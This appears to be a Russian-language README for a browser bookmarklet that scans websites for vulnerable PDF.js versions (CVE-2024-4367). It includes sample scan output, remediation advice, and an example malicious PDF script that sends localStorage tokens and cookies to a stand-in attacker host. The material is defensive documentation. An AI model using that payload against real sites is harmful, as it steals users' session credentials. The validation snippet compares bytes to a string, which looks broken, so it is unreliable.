javascript:(function(){const s=document.createElement('script');s.src='https://cdn.jsdelivr.net/gh/yourusername/CVE-2024-4367-Scanner/scanner.js';document.body.appendChild(s);})();

git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# Откройте любой сайт и запустите скрипт

┌─────────────────────────────────────────────────────────────┐
│                    ПОТОК ПРОЦЕССА СКАНИРОВАНИЯ              │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  1. 📚 ЗАГРУЗКА СКРИПТОВ                                    │
│     ├─ Внешние скрипты (все <script src="">)              │
│     └─ Встроенные скрипты (все теги <script>)              │
│                                                             │
│  2. 🔍 ИЗВЛЕЧЕНИЕ ВЕРСИИ PDF.JS                            │
│     ├─ Сопоставление с шаблонами в коде                    │
│     ├─ Обнаружение package.json                            │
│     └─ Анализ путей node_modules                           │
│                                                             │
│  3. 🎯 ОПРЕДЕЛЕНИЕ УЯЗВИМОСТИ                               │
│     ├─ версия < 4.2.67 ? → УЯЗВИМ                          │
│     └─ версия = 2.16.105 ? → УЯЗВИМ                        │
│                                                             │
│  4. 🖼️ ПОИСК ПРОСМОТРЩИКОВ                                  │
│     ├─ Сканирование DOM-элементов                          │
│     └─ Обнаружение атрибутов                               │
│                                                             │
│  5. ⚡ ГЕНЕРАЦИЯ POC                                        │
│     ├─ Создание тестового PDF                              │
│     └─ Предоставление ссылки для скачивания                │
│                                                             │
│  6. 📊 ОТОБРАЖЕНИЕ РЕЗУЛЬТАТОВ                              │
│     ├─ Визуальное наложение                                │
│     ├─ Отчет в консоли                                     │
│     └─ Хранение в глобальной переменной                    │
│                                                             │
└─────────────────────────────────────────────────────────────┘

╔═══════════════════════════════════════════════════════════════════════════════════╗
║                    CVE-2024-4367 - УНИВЕРСАЛЬНЫЙ СКАНЕР PDF.js                     ║
║              Обнаруживает уязвимые версии PDF.js и потенциальную эксплуатацию      ║
╚═══════════════════════════════════════════════════════════════════════════════════╝

📚 ФАЗА 1: Сканирование JavaScript-бандлов на PDF.js
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] Найдено 42 внешних скрипта
[+] Найдено 12 встроенных скриптов
   [1/42] Анализ: vendor.bundle.js
      → Обнаружен индикатор PDF.js: pdfjs-dist
      ✅ Найдена версия PDF.js: 2.16.105
      🚨 УЯЗВИМ к CVE-2024-4367!

🎯 ФАЗА 4: Определение векторов эксплуатации
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
   ⚠️ Параметр URL принимает PDF: file=/documents/report.pdf
   ⚠️ Найдена форма загрузки PDF

█████████████████████████████████████████████████████████████████████████████████
                          ИТОГОВЫЙ ОТЧЕТ СКАНИРОВАНИЯ
█████████████████████████████████████████████████████████████████████████████████

🚨 КРИТИЧЕСКАЯ УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА!
   CVE: CVE-2024-4367
   CVSS: 9.8 (КРИТИЧЕСКИЙ)
   Воздействие: Произвольное выполнение JavaScript

┌─────────────────────────────────────────────────────────────┐
│  РЕЗУЛЬТАТЫ СКАНИРОВАНИЯ CVE-2024-4367                   │
│  ━━━━━━━━━━━━━━━━━━━━━━━                                    │
│  📍 Цель: example.com                                      │
│  📦 PDF.js: 2.16.105                                       │
│  🎯 Уязвим: ДА                                             │
│  📄 Просмотрщиков: 3                                       │
│  ⚡ Векторов: 2                                            │
│  ━━━━━━━━━━━━━━━━━━━━━━━                                    │
│  🔴 КРИТИЧЕСКИЙ - Требуется обновление                     │
└─────────────────────────────────────────────────────────────┘

# Для проектов Node.js
npm install pdfjs-dist@latest

# Для использования CDN
# Обновите до версии 4.2.67 или выше

// Установите это перед загрузкой PDF.js
pdfjsLib.GlobalWorkerOptions.disableJavaScript = true;

Content-Security-Policy: script-src 'self'; 
                        object-src 'none'; 
                        worker-src 'none'

// Проверка PDF-файлов перед рендерингом
function validatePDF(file) {
    // Проверка магических байтов
    const header = file.slice(0, 5);
    if (header !== '%PDF-') {
        throw new Error('Некорректный PDF-файл');
    }
    
    // Сканирование на наличие JavaScript
    const text = file.toString();
    if (text.includes('/JavaScript') || 
        text.includes('/JS') ||
        text.includes('<< /S /JavaScript >>')) {
        throw new Error('PDF содержит JavaScript');
    }
}

// Встроенный JavaScript в PDF
this.alert('CVE-2024-4367 Exploited!');
fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify({
        token: localStorage.getItem('token'),
        cookies: document.cookie
    })
});

// Уязвимые версии
const VULNERABLE_VERSIONS = [
    { version: '2.16.105', status: 'CRITICAL' },
    { version: '3.x.x', status: 'CRITICAL' },
    { version: '4.0.x - 4.2.66', status: 'CRITICAL' }
];

// Безопасная версия
const SAFE_VERSION = '4.2.67';

git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# Внесите свои изменения
# Протестируйте на нескольких сайтах
# Отправьте PR